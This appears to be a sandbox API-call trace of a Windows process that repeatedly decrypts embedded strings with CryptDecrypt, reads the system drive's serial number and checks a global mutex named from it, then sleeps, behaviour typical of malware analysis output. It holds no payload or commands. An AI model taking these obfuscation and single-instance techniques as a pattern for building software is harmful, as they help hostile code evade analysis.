	[0211.000] CryptDecrypt (in: hKey=0x645fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf6d0 | out: pbData=0xd21440, pdwDataLen=0xcaf6d0) returned 1
	[0211.000] CryptDestroyKey (hKey=0x645fb8) returned 1
	[0211.000] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0211.000] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0211.000] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0211.000] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645eb8) returned 1
	[0211.000] CryptSetKeyParam (hKey=0x645eb8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0211.000] CryptDecrypt (in: hKey=0x645eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0xcaf6a8 | out: pbData=0xd214b8, pdwDataLen=0xcaf6a8) returned 1
	[0211.000] CryptDestroyKey (hKey=0x645eb8) returned 1
	[0211.000] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0211.000] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0211.000] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0211.000] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0211.000] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0211.001] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0211.001] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21440
	[0211.001] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0211.001] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0211.001] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf704 | out: pbData=0xd21440, pdwDataLen=0xcaf704) returned 1
	[0211.001] CryptDestroyKey (hKey=0x645b78) returned 1
	[0211.001] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21488
	[0211.001] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0211.001] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490
	[0211.001] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0
	[0211.001] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0211.001] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21488 | out: hHeap=0xd20000) returned 1
	[0211.001] ReleaseMutex (hMutex=0x490) returned 1
	[0211.001] CloseHandle (hObject=0x490) returned 1
	[0211.001] Sleep (dwMilliseconds=0x3e8) 
	[0212.073] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd20578
	[0212.073] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6458b8) returned 1
	[0212.073] CryptSetKeyParam (hKey=0x6458b8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0212.073] CryptDecrypt (in: hKey=0x6458b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd20578, pdwDataLen=0xcaf6d0 | out: pbData=0xd20578, pdwDataLen=0xcaf6d0) returned 1
	[0212.073] CryptDestroyKey (hKey=0x6458b8) returned 1
	[0212.073] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd286a8
	[0212.073] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd25478
	[0212.073] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd254a0
	[0212.073] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645878) returned 1
	[0212.073] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0212.073] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd254a0, pdwDataLen=0xcaf6a8 | out: pbData=0xd254a0, pdwDataLen=0xcaf6a8) returned 1
	[0212.073] CryptDestroyKey (hKey=0x645878) returned 1
	[0212.073] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd254a0 | out: hHeap=0xd20000) returned 1
	[0212.073] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd286a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0212.073] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25478 | out: hHeap=0xd20000) returned 1
	[0212.073] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20578 | out: hHeap=0xd20000) returned 1
	[0212.073] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0212.074] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd286a8 | out: hHeap=0xd20000) returned 1
	[0212.074] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd25478
	[0212.074] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645cf8) returned 1
	[0212.074] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0212.074] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25478, pdwDataLen=0xcaf704 | out: pbData=0xd25478, pdwDataLen=0xcaf704) returned 1
	[0212.074] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0212.074] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd286a8
	[0212.074] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0212.074] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490
	[0212.074] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0
	[0212.074] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25478 | out: hHeap=0xd20000) returned 1
	[0212.074] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd286a8 | out: hHeap=0xd20000) returned 1
	[0212.074] ReleaseMutex (hMutex=0x490) returned 1
	[0212.074] CloseHandle (hObject=0x490) returned 1
	[0212.074] Sleep (dwMilliseconds=0x3e8) 
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd29610
	[0213.144] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6459f8) returned 1
	[0213.144] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0213.144] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0xcaf6d0 | out: pbData=0xd29610, pdwDataLen=0xcaf6d0) returned 1
	[0213.144] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd29638
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd29660
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd29688
	[0213.144] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x6459f8) returned 1
	[0213.144] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0213.144] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29688, pdwDataLen=0xcaf6a8 | out: pbData=0xd29688, pdwDataLen=0xcaf6a8) returned 1
	[0213.144] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0213.144] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29688 | out: hHeap=0xd20000) returned 1
	[0213.144] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd29638, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0213.144] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29660 | out: hHeap=0xd20000) returned 1
	[0213.144] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1
	[0213.144] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0213.144] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29638 | out: hHeap=0xd20000) returned 1
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd29610
	[0213.144] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645eb8) returned 1
	[0213.144] CryptSetKeyParam (hKey=0x645eb8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0213.144] CryptDecrypt (in: hKey=0x645eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0xcaf704 | out: pbData=0xd29610, pdwDataLen=0xcaf704) returned 1
	[0213.144] CryptDestroyKey (hKey=0x645eb8) returned 1
	[0213.144] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd29658
	[0213.144] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0213.145] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x508
	[0213.145] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x0
	[0213.145] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1
	[0213.145] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29658 | out: hHeap=0xd20000) returned 1
	[0213.145] ReleaseMutex (hMutex=0x508) returned 1
	[0213.145] CloseHandle (hObject=0x508) returned 1
	[0213.145] Sleep (dwMilliseconds=0x3e8) 
	[0214.361] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd29610
	[0214.361] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x665218) returned 1
	[0214.361] CryptSetKeyParam (hKey=0x665218, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0214.361] CryptDecrypt (in: hKey=0x665218, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0xcaf6d0 | out: pbData=0xd29610, pdwDataLen=0xcaf6d0) returned 1
	[0214.361] CryptDestroyKey (hKey=0x665218) returned 1
	[0214.361] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd29638
	[0214.361] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd29660
	[0214.361] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd29688
	[0214.361] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x665558) returned 1
	[0214.375] CryptSetKeyParam (hKey=0x665558, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0214.375] CryptDecrypt (in: hKey=0x665558, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29688, pdwDataLen=0xcaf6a8 | out: pbData=0xd29688, pdwDataLen=0xcaf6a8) returned 1
	[0214.375] CryptDestroyKey (hKey=0x665558) returned 1
	[0214.375] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29688 | out: hHeap=0xd20000) returned 1
	[0214.376] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd29638, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0214.376] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29660 | out: hHeap=0xd20000) returned 1
	[0214.376] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1
	[0214.376] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0214.376] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29638 | out: hHeap=0xd20000) returned 1
	[0214.376] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd29610
	[0214.376] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x665558) returned 1
	[0214.376] CryptSetKeyParam (hKey=0x665558, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0214.376] CryptDecrypt (in: hKey=0x665558, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0xcaf704 | out: pbData=0xd29610, pdwDataLen=0xcaf704) returned 1
	[0214.376] CryptDestroyKey (hKey=0x665558) returned 1
	[0214.376] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd29658
	[0214.376] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x530
	[0214.376] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x0) returned 0x102
	[0214.376] CloseHandle (hObject=0x530) returned 1
	[0214.376] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1
	[0214.376] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29658 | out: hHeap=0xd20000) returned 1
	[0214.376] Sleep (dwMilliseconds=0x3e8) 
	[0215.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0215.428] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645f78) returned 1
	[0215.428] CryptSetKeyParam (hKey=0x645f78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0215.428] CryptDecrypt (in: hKey=0x645f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0215.428] CryptDestroyKey (hKey=0x645f78) returned 1
	[0215.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0215.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0215.428] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0215.428] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645cf8) returned 1
	[0215.428] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0215.429] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0215.429] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0215.429] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0215.429] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0215.429] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0215.429] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645cf8) returned 1
	[0215.429] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0215.429] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0215.429] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0215.429] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0215.429] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0215.429] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0215.429] CloseHandle (hObject=0x4d4) returned 1
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0215.429] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0215.429] Sleep (dwMilliseconds=0x3e8) 
	[0216.582] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0216.582] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645cf8) returned 1
	[0216.582] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0216.582] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0216.582] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0216.582] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0216.582] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0216.582] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0216.582] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645978) returned 1
	[0216.582] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0216.582] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0216.582] CryptDestroyKey (hKey=0x645978) returned 1
	[0216.582] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0216.582] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0216.582] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0216.582] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0216.582] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0216.582] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0216.582] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0216.583] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645978) returned 1
	[0216.583] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0216.583] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0216.583] CryptDestroyKey (hKey=0x645978) returned 1
	[0216.583] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0216.583] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0216.583] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0216.583] CloseHandle (hObject=0x4d4) returned 1
	[0216.583] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0216.583] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0216.583] Sleep (dwMilliseconds=0x3e8) 
	[0217.622] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0217.622] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0217.622] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0217.622] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0217.622] CryptDestroyKey (hKey=0x645978) returned 1
	[0217.622] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0217.622] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0217.622] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0217.622] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645cf8) returned 1
	[0217.622] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0217.623] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0217.623] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0217.623] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0217.623] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0217.623] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0217.623] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0217.623] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0217.623] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0217.623] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0217.623] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645f38) returned 1
	[0217.623] CryptSetKeyParam (hKey=0x645f38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0217.623] CryptDecrypt (in: hKey=0x645f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0217.623] CryptDestroyKey (hKey=0x645f38) returned 1
